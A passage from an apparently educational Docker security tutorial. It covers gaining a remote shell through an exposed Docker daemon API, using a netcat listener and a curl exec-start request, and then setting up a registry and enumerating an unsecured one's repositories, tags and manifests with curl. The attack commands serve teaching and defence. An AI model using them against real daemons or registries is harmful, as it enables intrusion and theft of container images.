This command returns the exec instances newly created. Before running the command, we must be sure to have a listener, waiting for the remote shell. We can start one using *netcat* in this way

```
$ nc -lvp {port-a}
```

Finally, we can execute the command with

```
$ curl -XPOST http://{ip}:{port}/exec/{exec-id}/start \
       -H "Content-Type: application/json" \
       -d '{"Tty":true}'
```

Step 6 - Escape

Finally, we are inside the container and we can escape like we wants.

5.3. Docker Registry

Docker Registry is an open-source storage and distibution system for named Docker images. A Docker Registry is organized into Docker Repositories, where a repository holds all the versions of a specific image. The registry allows Docker users to pull images locally, as well as push new images to the registry. By default, the Docker Engine interacts with **Docker Hub**, Docker's public registry instance. However, it is possible to run on-premise the open-source Docker Registry, as well as commercially supported version called *Docker Trusted Registry* (likes the ones provided by AWS, Google Cloud, Azure etc.). We can use the Docker Registry if we want to fully own our images distribution pipeline and whenever the software is not ready for a public distribution.

However, in general it is suggested to use Docker Trusted Registry or directly the Docker Hub, that's because they are secure by default. In fact, a private Docker registry natively supports TLS and basic authentication, but they are not mandatory, and in general to securely uses a Registry we need to be familiar on how HTTP and networking works. A non-secure Registry can become an important attack vector.

In a Registry we can `pull`, `tag` and `push` images, using the classic `docker` command. But, before doing all of these we can start a very simple Docker registry using the following command

```
$ docker run -d -p 5000:5000 --restart=always --name registry registry:2
```

As we have said the Docker Engine, by default, communicate with the Docker Hub. That's mean, running the command `docker pull ubuntu` is just a shortcut for `docker pull docker.io/library/ubuntu`. Instead, if we want to pull an image from the registry we need

```
$ docker pull {my-registry-domain}:{port}/ubuntu
```

that instructs docker to contact the registry located at `{my-registry-domain}:{port}` to find the image `ubuntu`. Let's now assume that we want to takes an image from the Docker Hub and saving it into our private Docker Registry hosted in `{my-registry-domain}`. These is the pipelines that we have to follow:

1. Pull the image from the Docker Hub
2. Tag the image like `{my-registry-domain}:5000/{image}`

3. Push the image in the registry
4. Delete the un-tagged and the tagged images from the local machine

These are the commands

```
$ docker pull ubuntu
$ docker tag ubuntu:latest {my-registry-domain}:5000/my-ubuntu
$ docker push {my-registry-domain}:5000/my-ubuntu
$ docker rmi ubuntu:latest
$ docker rmi {my-registry-domain}:5000/my-ubuntu
```

To inspect which images we have inside a docker registry we can use a GET HTTP request

```
curl -XGET http://{my-registry-domain}:5000/v2/_catalog
```

> **WARNING**: These first examples show registry configuration that are only appropriate for testing. A production-ready registry must be protected by TLS and shold ideally use an access-control mechanism. (Docker Registry)

5.3.1. A Simple Setup

In this section I want to give you a first very simple setup of a Docker Registry using Docker Compose. First I'm gonna to define the first service being the real docker registry, and then a second service that is just a Web UI for the registry.

```
version: '3.7'
services:
  docker-registry:
    image: registry:2
    container_name: docker-registry
    ports:
      - 5000:5000
    restart: always
    volumes:
      - ./volume:/var/lib/registry

  docker-registry-ui:
    image: konradkleine/docker-registry-frontend:v2
    container_name: docker-registry-ui
    ports:
      - 8080:80
    environment:
      ENV_DOCKER_REGISTRY_HOST: docker-registry
      ENV_DOCKER_REGISTRY_PORT: 5000
```

Finally, to start the Docker registry

```
$ mkdir volume
$ docker-compose up -d
```

5.3.2. Attacking An Unsecured Docker Registry

A Private Docker Registry should be protected like a Public one. This is the first and the main rule that everyone should follow. Un unprotected "Private" Docker Registry can be accessed by everyone, even if it is installed in local. To allow Docker to communicate with the Docker registry, even in local mode, we have to expose ports and this means that everyone knows the IP can easily access to the registry and perform malicious actions like: deeply inspecting images, i.e. for instance retrieve layers of the filesystem of the image; pull and then push new images and so on. For this reason it is important to secure the Docker Registry with strong authentication, TLS certificates, HTTPS and so on. In my opinion unsecured Docker Registry and Exposed TCP Docker Deamon are two of the main vulnerabilities that **we** can expose. Now, let's see what can we do, from the point of view of an attacker, to an unsecured Docker Registry. It will be very funny!

From now on, I will assume the IP of the Docker Registry being `192.168.17.234` and port `5000`. The first, and the easiest, thig that we can do is to list all repositories inside a Docker registry. To do all of these operations we will make GET requests to the registry. This is the command

```
$ curl -XGET http://192.168.17.234:5000/v2/_catalog
# Output Example
# {'repositories':["repo1", ...]}
```

If we see that there is at least one repository, let be `repo` the name, then we can inspect the list of all its tags.

```
$ curl -XGET http://192.168.17.234:5000/v2/repo/tags/list
# Output Example
# {"name":"repo", "tags":["tag1",...]}
```

Now, let's go deeply. We see that there is at least one tag, named `1.0`. We can retrieve the entire *manifest*

```
$ curl -XGET http://192.168.17.234:5000/v2/repo/manifest/1.0
# Output Example
# Very Long output
```

The *manifest* contains informations like: the name, the schema version, the tag, the architecture, some signatures and, most importantly, the digest of all filesystem layers that have been build during the `build` process. The output of the previous command is a JSON, and to handle JSON with the terminal we can use the utility `jq` (install with `apt-get install jq`), and look for the key `fsLayers`.

```
$ curl -XGET http://192.168.17.234:5000/v2/repo/manifest/1.0 | jq '.fsLayers[] | .blobSum'
# Output Example
# "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
# "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
# "sha256:529dd3c2cd8a29b2c8a38522366f2bcc8c771e7c575f43ad7098d7c4cc0bc240"
# "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
```